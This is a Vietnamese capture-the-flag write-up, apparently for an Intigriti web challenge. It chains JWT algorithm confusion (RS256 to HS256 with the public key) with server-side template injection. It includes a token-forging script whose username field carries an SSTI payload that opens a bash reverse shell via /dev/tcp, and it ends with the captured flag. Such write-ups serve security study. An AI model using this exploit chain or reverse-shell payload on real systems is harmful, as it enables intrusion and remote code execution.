Thử thách web này tập trung vào cơ chế xác thực JWT và xử lý mẫu động. Ứng dụng sử dụng thuật toán RS256 để ký token nhưng triển khai xác minh không đầy đủ, tạo điều kiện cho tấn công hạ cấp thuật toán.
Cơ chế xác minh JWT không an toàn
Đoạn mã xử lý token thiếu kiểm tra thuật toán bắt buộc, chỉ chặn trường hợp "none" mà không yêu cầu bắt buộc RS256:
function taoToken(payload) {
return new Promise((resolve) => {
jwt.encode(khoaRieng, payload, "RS256", (err, token) => {
resolve(token);
});
});
}
function xacThucToken(token) {
return new Promise((resolve, reject) => {
if (!token || token.split(".").length !== 3) {
return reject("Định dạng token không hợp lệ");
}
jwt.decode(khoaCongKhai, token, (err, payload) => {
if (header.alg.toLowerCase() === "none") {
return reject("Không cho phép thuật toán 'none'");
}
resolve(payload); // Thiếu kiểm tra header.alg === "RS256"
});
});
}
Khai thác hạ cấp thuật toán
Kẻ tấn công có thể:
- Lấy khóa công khai từ endpoint
/.well-known/jwks.json - Sử dụng khóa công khai như secret key trong thuật toán HS256
- Thay đổi header thành
"alg": "HS256"để bypass xác minh
Tổng hợp lỗ hổng SSTI
Mẫu trang chủ sử dụng hàm render() với biến username từ token JWT mà không kiểm tra đầu vào:
app.get("/", (req, res) => {
const tenNguoiDung = req.user ? req.user.username : "guest";
res.render("index", { name: tenNguoiDung }); // Lỗ hổng SSTI
});
Do cơ chế đăng ký chỉ cho phép chữ cái và số, việc chèn payload phải thực hiện qua việc tạo token giả mạo.
Triển khai khai thác
Script tạo token độc hại sử dụng khóa công khai làm secret key cho HS256:
const jwt = require('jsonwebtoken');
const khoaCongKhai = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw4oPEx+448XQWH/OtSWN
8L0NUDU+rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpat
hL1zf3/Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQz
YcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnR
fT5HJjSRu/JmGlYCrFSof5p/E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t
8opUrLbrJYoWFeYZOY/Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ+H
dwIDAQAB
-----END PUBLIC KEY-----`;
const tokenDocHai = jwt.sign(
{ username: "#{process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/127.0.0.1/4444 0>&1\"')}" },
khoaCongKhai,
{ algorithm: 'HS256' }
);
Sau khi gửi token này qua cookie token=tokenDocHai, hệ thống sẽ thực thi lệnh reverse shell khi render trang chủ.
Kết quả khai thác
Lệnh hệ thống được thực thi thành công, cho phép đọc file flag.txt trong thư mục gốc ứng dụng với nội dung:
INTIGRITI{h3y_y0u_c4n7_ch41n_7h053_vlun5_l1k3_7h47}